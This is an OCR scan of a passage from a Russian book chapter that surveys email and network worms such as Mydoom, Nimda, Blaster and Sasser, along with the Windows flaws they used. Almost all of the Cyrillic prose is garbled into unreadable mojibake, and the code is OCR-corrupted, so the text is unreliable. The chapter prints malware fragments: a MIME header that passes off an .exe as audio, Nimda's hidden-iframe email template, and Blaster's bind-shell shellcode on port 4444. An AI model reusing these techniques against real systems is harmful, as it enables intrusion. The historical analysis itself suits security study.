JIeHUSI TIOYTOBOTO KJIMEHTA, OT Pa3MepoOB OKOH W T. 1. Tak, Hampumep,
nosb3oBaresib «Outlook Express» mourn HaBepHsIKa «KYITHTCSI» HA YJIOB-
Ky, a noJib3oBaresib «The Bat» nmeer 1manc yBuzerh mosHoe uMs (aiiia
yepsst E-Worm.Stator.a 1 us6esxarp 3apaskenus (cMm. puc. 6.14).

O dkryfmt@mail.ra 872b
O6parhwia agpec dkryfmt@mail. i
T Komy Yasya_pupking@yahoo.com
j Tema [Mpueet Il

photol jpg| p.
BaszeBd BL .

[

“’ﬁmee"r‘!

i TEOH &Opec MHe O&I OOMH Heun oBWMA OpyD | HepBHHE aOpec , ROTOPHHA
BNy OpMIIEN B DMOJOEY) .

A HeDSBHO B MHTEPHETE M TOJBKO YUTO NOMYHMMIS STOT IOUTOBHM AIME'!
Tar WTO A NepBHH pas DMy SJAeRTPOHHOS OHCEMO!!!

OH CHaSal 4WTo eCOM ¥ MEeHA BOSHMEHYT BONPOCH, TO A MODY CHDSIMBATE ¥
Tefia. ..

A ODOBOMEHO CHMOATHYHSA M OBMMTENEHSA.

[Mo®ews Ha $OTO IOCHMOTRETE)

¥oy oTeeTa oT Tefal!!

Hammum HeMHODD cefe M TO 4UTO TH XOWENE SHATE o0fo0 MHe.

Iora! Iora!

S

K]

Puc. 6.14 < B okHe knmeHTa TheBat
BWAHA YaCTb NOAJIMHHOINO UMEHU YEepPBS

WNHuTepecHoil pa3HOBUIHOCTHIO MAXUHAIIMIT C UMEHAMU BJIOXKEHUI sTB-
sgercst npuanun geiictBus Bupyca E-Worm.Myparty. 9ToT yepBsik Ha-
3piBasl aiin Biaokennsi umeneM «WWW.MYPARTY.YAHOO.COM».
[Moan pasbepuch, KIAUKACIIb JIM ThI TI0 CCBIIKE HAa TOYTOBBIA MHTEPHET-
cepBuc «Yahoo» miM samyckaelnb UCIIONHAEMbIi (aiil ¢ paciupeHueM
«.COM».
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Kasasoch 6bl, Bee BBINIEYTTOMSIHYTBIE «TPIOKU» PACCYUTAHBI HA MAJIO-
KBaTM(DUIIMPOBAHHYIO TTYOJIMKY, & ONBITHBIE MOJIb30BATEIN HE JIOJIKHBI
HOMA/AThCS HA CTOJIb MPUMHUTUBHYIO yA0uKy. Ho B mepBoil mosioBuHe
2004 roga WnTepHeT noTpscia smugeMusa 1moytoBoro yepssa E-Worm.
Mydoom, OpreHTHPOBAHHOIO HE Ha «IyPaKoB», a HA060POT — Ha «IIub-
KO YMHbBIX»>. UepBb MACKUPOBAJICS MO/l «<KBUTAHIIUIOY, OTCHLIAEMYIO T10Y-
TOBBIM peJieeM Ha3ajl, Mocje HeyJauyHOil MOIBITKA TOCTABUThH IIHCHMO.
«Barre npoiioe micHLMo, — cOOBIIAM OH, — HAXOJIsAIIeecs ceiiuac B 3aap-
XUBHPOBAHHOM aTTaue, aJpecaTy He 1octaBieHo» (cM. puc. 6.15).

Ot postmaster@past k. A17b
Komy @ =chat o

Tema Undeliverable: test

Tour message

[*]

To: wattlfipost.kan.ru
Subject: test
Sent: Wed, Z8 Jan 2004 11:55:23 40300

did not reach the following recipient (=) :

wattlpost.km.ru on Wed, 28 Jan 2004 09:56:36 40300
The recipient name 1= not recoghized
The MNTS-ID of the original mwessage is: c=su;a=
sp=r-=style; 1=NMG-MAIL10401Z50656D0QFPGI12
HM3EXCH: IM3:r-style:NMG:NHG-MAIL1 0O (00O0COS5A6) Unknouwn

<] [»

Puc. 6.15 « lNMouToBbIN 4epBb Mydoom
MacKMpyeTCs MOA, «KBUTAHLMIO»

VIUBJIEHHBIA [10Jb30BaTE/b HEMEIJIEHHO OPOCaCsl BBISCHATDH, Ka-
KOe WMEHHO €r0 MIChbMO He HaIIo cBoero ajgpecata. OH Tepsisl BCAKYIO
OCTOPOKHOCTD, CBOUMHE COOCTBEHHBIMHU PYKaMI PACITAKOBBIBAJI ADXUB ...
pasyMeeTcs, 3aITyCKal «3apasy».

Bce crioco6b1 0OMana 10BEpUnBOTO MOJb30BATE/IS IEPEYUCTUTD HEBO3-
MOKHO — UX coTHI! MeTo0B 60phObI TOKE HEMAJIO.

CoBpeMeHHbBIE BEPCUH TTOYTOBBIX KIMEHTOB YMEIOT CaMOCTOSITETHbHO
pacIio3HaBaTh THII PUIIEAITero dhaiia u MpeynpekaAaTh MOTb30BATES:
«Bammanme, B MOYTOBOM BJIOKeHWU — TporpamMas! Hekoropwie mou-
TOBbIE peJier He MPOTYCKAIT MHUChMa C apXUBUPOBAHHBIMU aTTavyaMM,
4TO, KOHEUHO, 0YeHb HEeYI0GHO JIJIsT ToJIb30BaTe e, Ho mpoTis Mydoom-
NOJOOHBIX YepBell JOCTATOUHO ACHCTBEHHO. YCTAHOBJIEHHbI B PEKUME
MOHHUTOPA aHTHBHUPYC TaKKe MOKET 3a0JIOKMPOBATH 3aIyCK TPHUIIE/IIeH
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110 noyte mporpaMMbl. Hy a o6Imuil moaxo K IpOTUBOAEHCTBHIO IOL00-
HOTO POJia «3apa3e» — MPOCTO He aKTUBUPOBATDH (TO €CTh HE YNUTATh, HE
3aIyCKaTh, HE MTPOCMATPUBATH) TIOZ03PUTEIbHBIE TOUTOBBIE BJIOKEHUS:
JIOKYMEHTBI, TIPOTPAMMbI, KADTUHKH U T. TI.

Brpouem, Kak OyZeT IpoAeMOHCTPUPOBAHO HUXKeE, JasKe U TAKOH 110/ -
XOJI He BCer/la OKa3bIBAETCs AeHCTBEHHBIM.

6.5.2. OwmbGKM Npu 06paboTKe MOYTOBBLIX BJIOXEHUM

B o6mmem nporpammuom koge WW W-kinenra Internet Explorer u mmou-
tosoro kanenta Outlook Express sepcmii 5.01 u 5.5 umenuch rpy0Obie
AJTOPUTMUYECKHE OMMOKK, CBSI3aHHBIE ¢ HEMPABUJILHBIM PACHO3HABA-
HueMm Tuna (aiiia, MOMeNnEeHHOTO B 1ouTOBOe BioxeHue (arrad). Eciun
B CJyKeOHBIX 3aroJIOBKax IMCbMa ONUCATh 9TOT (ailJi Kak KapTUHKY,
MY3bIKAJIbHBIH (hparMeHT, BUJEOKJIUI U T. I, & BMECTO HErO MPUCOe/N-
HUTH K 3JIEKTPOHHOMY ITHCHMY HCIIOJIHSIEMYIO TIPOrPaMMYy, TO OHa Oyer
3aIylieHa aBTOMAaTUYeCKW B TOT MOMEHT, KOT/Ia TI0JIb30BaTElb MPOCTO
3HAKOMHUTCS C TEKCTOM TTMChMa. Bejib oriepalimoHHast cucreMa pacio3Ha-
eT cojiepkuMoe haiiyia He TI0 BHENTHEMY ONUCAHUIO, a 110 BHYTPEHHEMY
coziepsKMMoMY (B JIaHHOM cJarydae 1o curHatype «MZ»).

Bor ¢parment nucbMma, pacebriaemoro yepsem E-Worm.Win32. Aliz:
-~ bound
Content-Type: audio/x-wav;
name="whatever.exe"

Content-Transfer-Encoding: baset4
Content-ID

ITOT NOYTOBBII YEPBb, HECMOTPSI Ha HEKOTOPbBIE HETOUHOCTH (B YaCT-
HOCTH, OH He COBCEM BEPHO OTIPEIENST MeCTOOIOKeHne (aiira ampec-
HOU KHUTK), BbI3BaJ B 2001 I. OBOJIBHO OGIIUPHYIO SIIHIEMHUIO.

Jlpyroii crmocob MCoab30BAHUS YA3BUMOCTH 3aKJIIOYACTCS B «Maxu-
HAIUAX> C TIHCbMaMHU, y KOTOpbix 1toJie «Content-Type» umMeeT 3HaYeHME
«text/htmls. Bce mouToBble KIMEHTH ABTOMATHYECKH OTOOPAKAIOT TAKUE
McbMa He B BUJIE TEKCTa, a B Bue html-crpannukn. /[aBaiite BcrioMmuanm
OCHOBBI I3bIKA THITEPTEKCTOBON PA3METKHU: B TEKCT CTPAHIYKH BCTABJISIOT-
CSL «TATU» — CIIyKeOHbIE METKU, OTPAHMYEHHbIE YTIIOBBIMU CKOOKAMU: «<»
n «<>». B KOHTEKCTE TaHHOM IIaBbl 0COOEHHO MHTEPECceH TaT «<iframe>»,
NpeiHa3HaYeHHbINA /1 BCTaBKU ofHON html-ctpanuuku B apyryio. s
Toro uto6el 06ManyTh Outlook Express, 10cTaTo4HO NPU ONUCAHUHU AT-
Tavya B CIYKeOHOM 3aroJIOBKE YKa3aTh, YTO BIOKEHHbBII OOBEKT sIBJSECT-
¢sI TEKCTOM, 3aKOJIMPOBAHHBIM TIPU TIOMOTIM MeTozia «quoted-printables,
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a BMECTO 3TOTO TIOJICYHYTh Iporpammy. Bot rnipumep odopmienus «3apas-
Horo» nucbMma B yepse E-Worm.Nimda:

MIME-Version: 1.0

Content-Type: multipart/alternative; boundary=...

Content-Type: text/html
Content-Transfer-Encoding: quoted-printable

<html>
<title></title>
<body>

<iframe src=3Dcid: o¢ann_yvepsa height=3D0 width=3D0>
</iframe>

</body>
</html> ...
Content-ID: ¢ann_yepss

[Tporpamma, omelieHHast B aTTay, MO-TPEKHEMY, 3aIyCKaJIach aBTO-
MaTHYECKH, CTOWJIO TOJBKO TTOJTb30BATENI0 B3TJITHYTh HA TEKCT MICHhMA.

Pacemorpennas ommnbka onucana B 01o/uterene Microsoft ¢ umgexcom
MS01-020 «Incorrect MIME Header Can Cause IE to Execute E-mail
Attachment». Eii Gburun momsepskennl kiueHTsl Internet Explorer u
Outlook Express Bepcuii 5.01, KOTOpbIE 110 yMOJYAHIIO YCTAHABINBAINCH
smecte ¢ Windows 98 SE u Windows 2000. He ucnpasiena ona Oblia
u B Internet Explorer 5.5. O6mmpHeiiiue snujeMurt MOYTOBBIX Yep-
Beii E-Worm.Aliz, E-Worm.Nimda, E-Worm.Awron, E-Worm.Swen,
E-Worm.Klez, E-Worm.Netsky u 1. . 8 2001-2003 rozax oxasajch
BO3MOKHBI OJ1aro1apst IMEHHO 3ToH ysa3BuMocTi. OT 3apakeHus He Cra-
cajia Jla’ke PEKOMEH/IOBAHHAS BBIIIE «CBEPXOAUTETHHOCTH> CO CTOPOHBI
nosbsoBaresist. [Tocie obHapyxkeHus omubku dhupmoii Microsoft Gbuiu
M3J@HbI IATYH... HO TOJBLKO JIJIsI aMeprKaHcKuX Bepeuii Internet Explorer
n Outlook Express, 1a u To He /115 BceX PasHOBUAHOCTEI. A [IJIsl pyCCKUX,
(bpaHITy3CKINX, HEMEITKUX, KHTAHCKUX ¥ TIPOYNX JIOKAJIN30BAHHBIX BEPCHUIT
HUKaKuX natyeil He 66110, OTKA3aBIIMCh UCTPABJIATH Omubku, Microsoft
B 2001-2003 rogax dakTUUecKn BBIHYHMIA TI0JIb30BaTEEH YCKOPEHHbI-
Mmu temiamu nepexoauts Ha Windows XP ¢ Internet Explorer Bepcun 6.0
(KOTOPBIN TOYKE KUIIMST KUIITEST OITMOKAMH, TPaB/a, WHBIMI).

Brpouem, mosb3oBaresieil mouToBoro kiareHTa TheBat u BcTpoeHHBIX
WWW-knuentoB Netscape Navigator/Communicator u Opera atn
ATUAEMUH MTPAKTHYECKH HE KOCHYJINCH. A TMOCJE TOTO KaK GOIBITMHCTBO
MOJIb30BaTe el TIePelii Ha COBPEMEHHbIE BEPCUM TIOYTOBBIX KJIUEHTOB,
AMUIEMUN YepPBeif, MCTI0JIb30BaBINUX ysa3BuMocTb MS01-20, motuxoubKy
3arJIOXJTN CaMH COOOTH.
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6.5.3. Owmnb6km B npoueccax SVCHOST n LSASS

Cucremnbrie mporieccsl «SVCHOST» u «LSASS» urpaior BaskHyIO poJib
B Windows NT — omu comepskar 60IbIII0e KOTUIECTBO CITYKEOHBIX TTO-
TOKOB, HEOOXOANMBIX J7ist pabOThI OTIepallHOHHON cucTeMbl. Panee, B pas-
JieJie, IOCBSIIEHHOM MackupoBke Windows-BUPYCOB, IPUBOAMIUCH TTPH-
MepBbl HEKOTOPBIX TAKUX MOTOKOB. K COKaleHWIO, UMEHHO B HUX ObLIU
06HAPYIKEHDBI YS3BUMOCTH, TTO3BOJISIBIINE BPEAOHOCHOMY KOAY TPOHMU-
KaTh B CHCTEMY U3BHE, 110 CETH.

Opun w3 morokos mnpouecca «SVCHOST» orsewaer 3a ciayxk0y
DCOM RPC - mnojcucremy, Kotopast odecrieunBaet WHGOPMAIHOHHOE
B3aMMO/IEIICTBUE [IPYT C JAPYTOM MPUKJIAIHBIX U CUCTEMHBIX ITPOTPAMM-
HBIX KOMIIOHEHTOB, PACIlOJIOKEHHBIX KaK Ha OJHOM, TaK M Ha Pa3HBIX
MamnHax cetu. K cepBucaMm moacucTeMbl BO3MOXKEH KaK JIOKATbHDIHN
JOCTYTI, TaK U obpaleHue Mo ceTu yepe3 mopt 135 mpu moMoIu mpoTo-
koJioB cemeiictB TCP/IP, NetBIOS u IPX/SPX. B utone 2003 r. rpym-
Ha «CepbixX HuIsiy, uMmenyomunx cebs LSD — Last Stage of Delerium
(«ITocaemnHsist cTagnst TIOXMENbsi» ), OOHAPY KA B CEPBUCHON (DYHKITUI
«CoGetInstanceFromFile» 6Gubanoreku «OLE32.DLL»> KpurHuecKyio
YSI3BUMOCTD — TIO/T COJIEPKIMOE OTHOTO M3 CTPOKOBBIX MapaMeTpOB ObLI
3ape3epBUPOBAaH MACCUB IIOCTOSAHHON JJIMHbI 544 Gaiira:

HRESULT CoGetInstanceFromFile(

COSERVERINFO = pServerInfo,

CLSID = pclsid,

IUnknown » punkQOuter,

DWORD dwC1sCtx,

DWORD grfMode,

OLECHAR = szName, // <- HeBepHO ucnonb3yembli napameTp
ULONG cmq,

MULTI_QI = rgmgResults

)

Bubnuoreka 3arpyskaiach B aJpecHOe MPOCTPAHCTBO TIPOIEcca
«SVCHOST», a ¢yHKIMs aKTHBHO HCIOJAb30Bajach cayxk6oii RPC
DCOM. 3to o3nauano Bo3mMoxkHOCTh atakt Ha RPC DCOM 1o cetn B
COOTBETCTBUU C PACCMOTPEHHOT BBITIIE CXEMOTT «TIepenoaHerus 6yhepas.

Omunbka MPUCYTCTBOBAJIA MPAKTUIECKH BO BCEX PACIPOCTPAHEHHBIX
B TO BpeMs onepaiinonnbix cucremax BerBu NT: Windows NT 4.0, Windows
2000, Windows XP, Windows 2003 Server u MogudUKaIMAX, BbITOJHEH-
HBIX cTOpoHHUME (hupmamu (Hanpumep, Cisco). Ouernb ObICTPO, OYKBaJIb-
HO 4yepes JIBe HeJleId KUTalCKasi KOMaH/[a «Cepbix muisiin» Xfocus cymesia
HCTIONIb30BATh 3Ty YSA3BUMOCTH, Pa3paboTaB U OMyOJIUKOBAB COOTBETCT-
Byfommii akciuioiir. IIporpammuctsl 13 Microsoft onieparBHO BbIITyCTH-
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1 Groserenp 6esomacaoctu MS03-026 1 «3a1iaTky» IPOTUB YSA3BUMO-
cru. OJIHAKO «3aIIaTKOl» BOCTIOJIb30BAIMCH TOJIBKO Hanbosee 6auTesb-
HbIe ¥ OTBETCTBEHHBIE CETEBbIE AAMUHUCTPATOPBI, & JAECITKUA MUJLJINOHOB
PSIZIOBBIX T10JIb30BaTeIell TPEBOKHYI0 HHMOPMAIIMIO [TPOCTO TPOUTHOPH-
posasi. Hy B caMoM JieJie, He GEKUM 5Ke MBI CJIOMsI TOJIOBY B OJIKAKIITY IO
anTeKy, YCJBIIIAB 110 paauo o nosiBiennu B Kutae mwin Mekcuke Kakoii-
HUOY/Ib HOBOI PA3HOBUIHOCTU <IITHYBETO» UM «CBUHOTO» rpurial

Bupyc-uepBb, ucnosbzoBasimuii ysa3sumoctb MS03-026, nosiBuics
B cepeaune aBrycra 2003 roga — 5710 6611 3HaMenuThIiE Net-Worm. Win32.
Lovesan (ou ke W32.Blaster, on ke W32.MSBlast, on xe Poza). 9tor
BUpYC (U €ro KIOHBI) OPraHU30BaJl OTPOMHYIO 110 MACIITabaM SMUAEMUIO.

Bupyc aTakoBaj KOMIBIOTEPHI CO CAy4aiiHo BeiOpanubiMu IP-agpeca-
M, roceiiast Ha mopt 135 TCP-naxetsi ¢ shell-kogom. Yepecuyp pinmnoe
uMs ailia TepenoHsIo BbIeJeHHbIH 10/ Hero Oydep U «3aThupanos
anpec BosBpara u3 dyukiuu «CoGetlnstanceFromFile» nobiM 3Haue-
nueM (18759Fh s Windows 2000 1 100139Dh nra Windows XP). 9o
GBI a/[Pec yUacTKa a[PECHOTO TIPOCTPAHCTBA, TIPUHA/IEKAIIETO TIPOTIEC-
cy «SVCHOST>» u conepxkamiero komauny <] MP ESP». Takum o6pasom,
BBIXOZ U3 (PYHKIMU IPOUCXOAMI Kyaa-T0 Bryob « SVCHOST», 1o moutn
cpasy sKe ylpaBsJeHKe BO3BpAllaioch Ha Hayano Gydepa, comepKaIiero
shell-xoz.

Iror shell-kox 1pu momomy MeTOAOB, XapaKTepHbIX aast Win32-
Bupycos, uckan B namatu «<KERNEL32.DLL», a BHyTpu — Bce HEOOXO-
naumble Gyurnmu. Bor odenb noyuurensubiii ¢pparment shell-kopa, mpu
[IOMOIIM KOTOPOTO BUPYC CTAHOBUJICS] CETEBBIM CEPBEPOM U OCYIIIECTBIISLT
3amyck kKomangaaoro unreprperaropa «CMD. EXEs»:

push 5C110002h ;o Tun 02 - penTarpammHbii, nopT 0x115C=4444

mov ecx, esp

push 16h ; IVHA naeHTudukaTopa

push ecx ; aApec woeHTudukaTopa yana
push ebx ; CoKkeT

call dword ptr [esi+20h] ; call bind
call dword ptr [esi+24h] ; call listen

call dword ptr [esi+28h] ; call accept

mov edx, eax ; XaHan cokeTa
push 657865h ; CTpoka umeHn
push 2E646D63h ; 'CMD.EXE",0

; 3anonHeHne cTpykTypsl STARTUPINFOA
mov [esp+48h], edx ; NepenasHaverne STDINPUT
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mov [espt4Ch], edx ; NepenasHaverne STDOUTPUT
mov [espth0h], edx ; NepenasHaverne STDERR
lea eax, [esp+10h]

push esp ; PROCESS_INFORMATION

push eax ; STARTUPINFOA

push ecx 0

push ecx 0

push ecx 0 0

push 1 . NpuaHak HacnegyemocTu aTpubyTos
push ecx 0

push ecx 00

push dword ptr [esi+30h]; Ampec 'CMD.EXE', 0O

push ecx 00

call dword ptr [esi+10h] ; call CreateProcessA

W3 ananmsa npuBezieHHOTO (DparMeHTa MOKHO 3aKJII0UNTh!

O 4epBb OTKPBIBAJ NMOPT 4444 1 CO3/1aBaJI CBSIBAHHbBIN C HUM COKET;

O uepBb TepeHa3HAYaJ JIEeCKPUIITOPHI BBOJA-BBIBOJIA 3AITyCKAEMOTO

npoiecca Ha BHOBb OTKPBITBIN COKET, 3aCTaBJIsisl TAKUM 00Pa3oM
«CMD.EXE» BbITIOJIHATD KOMAH/IbI, TPUXO/ISATIE HE C KIaBUATY-
PBI OT MTOJIB30BATEJIS, & TI0 CETU — OT «KJIUEHTCKOI» YacTH 4epBs,
OCTaBIIEeIiCS HA aTAKYIOIEM KOMITbIOTEPE.

Wrak, BUpyc moJrydas MmoJHbl KOHTPOJIb HAJ CHCTEMOI U BBITIOTHST
BCE HEOOXOIMMBIE JIEHCTBUSA O JIOKAYKe CBOETO Tesla Ha JIUCK. A TIOTOM
BUPYC BBINOJIHSJ CUCTeMHBII 3anpoc «ExitProcess», u rpybo mnpepsaH-
Hbiii «SVCHOST> BbLIeTal, 4TO IPUBOANIO K HEOOXOAUMOCTH Tiepesa-
Tpy3Kn cuctemsbl (cM. puc. 6.16).

JaeepuweHue padoTkbl CUCTEME]

Q&HHEIE W BEIRWTE M3 CUCTEMEl, Broe
HECOXDAHEHHEIE WBMEHEHWA GYyayT
noTepAHel.  OTEHDYEHME CUCTEME! BRIZEIHD
HT AUTHORITYSYSTEM

Q CucTeta saBepwaeT patory, CoxpaHuTe

Bpema go otk aoveHwa:  00:00:33
Coofwerme
Heofxoguro nepesarpysure Windows,
NOCKONEKY NPOMS0LINE HENPEABULEHHSS
ocTaHoEKa cny#oel Remote Procedure

Call [RPC]

Puc. 6.16 % CoobuieHre onepawyoOHHON CUCTEMBI
B NpuUCyTCTBUM YepBs Blaster
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[To HekOTOPBIM OlLleHKaM, OPUTUHANIBHBIN «1ITaMM» Net-Worm. Win32.
Lovesan.a 3apa3ui jJetom-oceHbio 2003 T. 0KoJ10 9,5 MJIH KOMITBIOTEPOB.
[To cyacTpio, OH HUYEro He YHUUYTOKAJA HA MOJIb30BATEIBCKUX KOMIIBIO-
Tepax, TOJBKO MOChLIaAI Ha joMeH windowsupdate.com MHOTOUHCIEHHbBIE
MYCOPHBIE 3aIIPOCHI, MBITASICh HAPYIIUTH PadOTY IEHTPA M0 PACIPOCTPA-
HEHUIO «3aITaToK». Ho GeCKOHTPOJIbHOE pasMHOXKeHHe Bupyca B MH-
TepHeTe U caMo 110 cebe MPUHECJO MOJIb30BATEIAM Maccy Heyao0CTB.
B te Hemenmu m mecsnl, korzga pacrpoctpansiicss Net-Worm.Win32.
Lovesan, mupoBoii Tpaduk OblT OYKBAJIbHO HABOJIHEH arpecCHBHBIMU
TCP-nakeramu, Hecyiumu B cebe shell-xon. CTonmo noakIounTh Hesa-
IUIIEHHBINT KOMIIbIoTep K VITHTepHeTY, U OH ITO/IBEPTaJicsl BUPYCHOU aTake
OYKBAJIbHO Yepe3 HeCKOJbKO MUHYT PabOThl, BHE 3aBUCUMOCTH OT TOTO,
rae Haxoauics hpusnyeckn — Ha YykoTke niam Ha Mbice TopH. AtakoBaH-
Hag OollepalMOHHAsl CUCTEeMa aBTOMATHYECKU Iepe3arpysKaiach... IOTOM
ellle pas... M elie... M OISATh... U CHOBA... Kilaccuueckue aHTUBUPYCHI He TI0-
MOTaJIH, Be/lb OHU pearnpoBaJn Ha «3apa3y», ohopmieHnyio B Buje (daii-
sa, a Net-Worm.Win32.Lovesan nauntasu paboTy Kak 4acThb HaXOJsIie-
rocst B mamsitu mporiecca «SVCHOST». PekomenioBannoe HEKOTOPbIMEU
rOPAYKMHU FOJI0BaMU [0JIHOEe oTK/Iouenne cayx6s DCOM RPC mpuso-
JIAJIO K OTKa3y paboThl MHOXKECTBA MPUKJIAAHBIX TIPporpamMM (HarpuMmep,
Bxozsumx B MS Office). Kommbiorep 6e3 ycTaHOBIEHHON <«3allIaTKU»
criacajio Jivib (HU3nYecKoe 0TCOeJMHEHME OT CEeTU UJIM CPOYHAS YCTaHOB-
Ka paiipsosia (Gparamayapa), 6iokupyioliero Tpaduk yepes 135-i mopr.
B te e aBrycrosekue guu 2003 ., korga Gynresana anugemus 4epss Net-
Worm.Win32.Lovesan, ra ceBepo-Boctoke CIIIA Hauamuch MaccoBbie
OTKJIIOUEHUST JIEKTPOaHeprun. Bepcus oduimaibHON KOMHUCCHUM, pac-
cJie[oBaBIeil 06CTOSITEbCTBA MHITUIEHTA, HE TIO[TBEP/IUIA BUHY Y€PBsI
B aBapuu, HO... CIUIIKOM YK MaJia BEPOSITHOCTD TOJOOHBIX «CITydaitHbIX>
COBITQ/IEHUIA.

Bo3moskHO, cuTyartiust pasBuBaiach Obl 10 eltle 6oJiee XyIIeMy ClieHa-
puIo, ecau Obl He «<KOHTpuepBb> Net-Worm. Win32. Welchia (ussBecTnbrii
takske 1ojx umenem Nachi), ncrosp3oBaBimii Kak Ty K€ ySI3BUMOCTD,
TaK U HEKOTOPbIE JPYTUeE, KOTOPBIUM ObLI 3allyllleH B pa3rap SMujeMUu
Net-Worm.Win32.Lovesan.a. OH yiajisii ¢ KOMIIBIOTEPA CBOETO «He-
Jpyrar, a MOTOM CaMOCTOSITENIbHO CKauuBaJ ¢ caiita windowsupdate.com
«3aIIaTKy» U IPUHYAUTEIbHO MHCTAJIMPOBAJ ee B cuctemy. Bripodem,
yepe3 HECKOJIbKO JHed, korma pactpoctpanenne Net-Worm.Win32.
Lovesan.a 3aMeIInIoCh 1 MONLIO Ha YObLIb, IPUILIOCH GOPOTHCS YKE C
Net-Worm. Welchia, napymusium pabory cetn kommanuu Air Canada.
Kro paspaGoran u akTuBupoBaj <«KOHTpYepBsa»? Asrop Net-Worm.
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Win32.Lovesan.a, HallyraHHbII BBIMYIIEHHBIM 13 OYTHUIKH JZKUHHOM ?
AHOHUMHbBIE COTPYAHUKN KaKOM-HUOYAb aHTHUBUPYCHOM KoManuu? He
MIOMOT TIPOSICHUTB cuTyaruio u amepukauneit /[xxedpu Jlu [lapcown, apecro-
BaHHbBIN B KOHIIE JIeTa 33 CO3/[aHUE U PACIIPOCTPAHEHUEe PAa3HOBUIHOCTU
Net-Worm.Win32.Lovesan.b. ¥YBbl, 0H 0Ka3ajics BCEro Julilb IJIaruaTo-
POM 4y:KKX el 1 MOAU(PUKATOPOM 4y:KUX pa3paboTok. Ko ke mossken
HECTU OTBETCTBEHHOCTD 32 CO3/[AHNE OPUTUHAJIOB YEPBSI U «<KOHTPUYEPBSI»,
JI0 CUX TI0P HEU3BECTHO.

B o6miem u 1iesiom Bupyc Net-Worm.Win32.Lovesan 6bi1 1o6esx1eH
K koHIty 2003 r., HO KOJIMYECTBO ySI3BUMbBIX CHCTEM OCTABAJIOCh U OCTAET-
c ellle 3HAYUTEIbHBIM, T0ITOMY CETEBbIE YePBHU, UCTIOJIb3YIOIIUE OMIUOKY
MS03-026, cozpatorcest u pacripocTpaHsIoTcs 10 cuX mop. Bripouewm, Kpyti-
HBIX 9MIUIEMUI OHU YIKe He BbI3bIBAIOT.

B ampese 2004 1. 6pu1a obnapogosana uHMGOpMALUS 00 yA3BUMOCTU
B Jipyrom cucremMHom tipoitecce — «LSASS», ee onucanue BkiIiOueHo
B Grojuterenb Gesonacuoctu Microsoft ¢ ungexcom MS04-011. A yike ye-
pe3 znBe Hezmenu nostuscs Bupyc Net-Worm.Win32.Sasser, 1ncnosib3o-
BaBIIUIL 3TY </IBIPY>.

ITponecc «<LSASS.EXE» (Local Security Authority Service) — gacTb
nozacucreMsr 6esonacaoctu Windows N'T, ogun us ero cryke0HbIX oTo-
KOB HOJIIEPKUBAET MPOIIEAYPY ayTeHTUDUKAINY JOKAIbHBIX U CETEBBIX
noJib3oBaresieil. Pagymeercs, JioOble 3allpOCHl HA YCTAHOBJIEHUE CBSI3U
¢ IPYTUM KOMIIBIOTEPOM IIPOXOST Yepes3 3Ty cirys:k0y. Bupyc cosmasai
ot 128 no 1024 norokos, «mapsiux» 1o MHTepHeTy, U aTakoBaJ ore-
paumonnbie cucrembl Windows 2000/XP /2003 yepes mopt 445, akoObl
MIBITAsICh YCTAHOBUTD CETEBOE B3auMo/ielicTBre 110 1poTokoy NetBIOS.
Ha ceii pas omun6ounbii ¢hparMenT, NPUBOAAIIII K IEePEHOIHEHHIO Oy-
(epa, epenave ynpasiaenus Ha supycubiii shell-kon u «nagenuto» mpo-
neccoB «LSASS. EXE» u «SERVICES.EXE», naxoaucs He B cCTOpoHHEN
6ubIMOTEKE, A HETIOCPECTBEHHO B TEJIe OIHOTO U3 TIOTOKOB TOM CIIYKObI.

Yepsb Net-Worm.Win32.Sasser 110 cBoeil BHyTpeHHEeH OpraHu3aiiun
ObL1 1OYTH TOYHON Komwmeil uyepss Net-Worm.Win32.Lovesan, 3a uc-
KJIIOUEHUEM, Pa3yMeeTCst, «<XUTPOii CTpoku» 1 anpecos B shell-koze. axe
KOMAH/IbI OT aTAKYIOIIell MAITUHbI OH CJIYIIAJ YePe3 MOPT € He CIUITKOM
OPUTHHAJIBHBIM HOMepPOM 5554. Huvero yamBUTENBHOTO, BEb K BeCHE
2004 r. ucxopnsiii Teker uepss Net-Worm.Win32.Lovesan 6bL1 nocry-
HeH KaKIOMY JKeJIaiolieMy.

W onsath «3amiatkay, BBIMYIEHHAS B CPOYHOM IOPSIKE, IPOCTO He
ycriesia MmoMelaTh CTPEMUTENbHOMY Pa3BUTHIO dlunemun 4depBsi Net-
Worm.Win32.Sasser. HeratusHoe BinsiHye 4epBsi OILY TUJIN Ha cebe 110-
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System shutdown

Thiz system is shutting doven. Please save all
work in progress and log off. Any unsaved
changes will be lost. This shutdown was
inftiated by NT AUTHORITY S Y STEM

Time before shutdown: 00.00.21

Meszage
The system process
'COANDOVS sy stem32iservices exe'
terminated unexpectedly with ststus code

1. The system will nowe shut dovwen and
restart .

Puc. 6.17 % CoobLuieHre onepawuyoHHON CUCTEMBI
B MPUCYTCTBUM YepBa Sasser

ura TaliBaHsi, cucreMa yrpasjieHus aBuapeiicamu Brittish Airways, hon-
nosast oup:xa Opauimu, mpaBuTeIbcTBEHHBIE HemapTaMmeHTsl IOAP u . 1.
Bcero B mae 2004 1. okasajich 3apakeHHbIMU 00Jiee MUJLIMOHA XOCTOB.
Wurepecto, 94TO U TPOTUB ITOTO YePBST BOEBAJ CIIEIMAIBHBIN «KOHTP-
yepsb» — Net-Worm.Win32.Dabber. Bripouem, oH He CTOJIBKO BoeBall,
CKOJIBKO TApasuTUPOBAJ: 3Has uuTepdeiic goctymna yepes 5554-i mopT,
3aKaumMBaJI ce0sT HA 3aPaKEHHYIO MAITMHY U YIAJSIT <HEIPyTay, 3aHIMast
€r0 MeCTO.

Microsoft anoncuposasa npus B 250 000 10J1. TOMY, KTO [TOMOKET
orbickaTh aBTopa yepBsd Net-Worm.Win32.Sasser, u B mae 2004 roma
B JIanibl Tosiuiuu yroawi 18-netauit Hemenkuii nikobHuk Ceen fAinan.
OH oT/1e/1aJICst YCIIOBHBIM CPOKOM, & BCKOPOCTHU TOJIYUUJI paboTy B OJHO
U3 AHTUBUPYCHBIX (DUPM, YTO BBI3BAJIO OCTPYIO HETATHBHYIO PEAKITHIO CO
CTOPOHBI KOMITLIOTEPHON 0OTIECTBEHHOCTH.

Wrak, B HacTogmuii MoMeHT ys3suMoctu MS03-026 1 MS04-011 odu-
[UATBHO CYUTAIOTCS JUKBUIUPOBAHHBIMU, HO HA MPAKTUKE MOTEPSIOT
AKTYaJbHOCTD JIUIIb TOT/A, KOT/IA TIOJTHOCTBIO «BBIMPYT» OTI€PAIIUOHHbIE
cucrembl Windows 2000, Windows XP 1 Windows 2003 Server. Ho noka
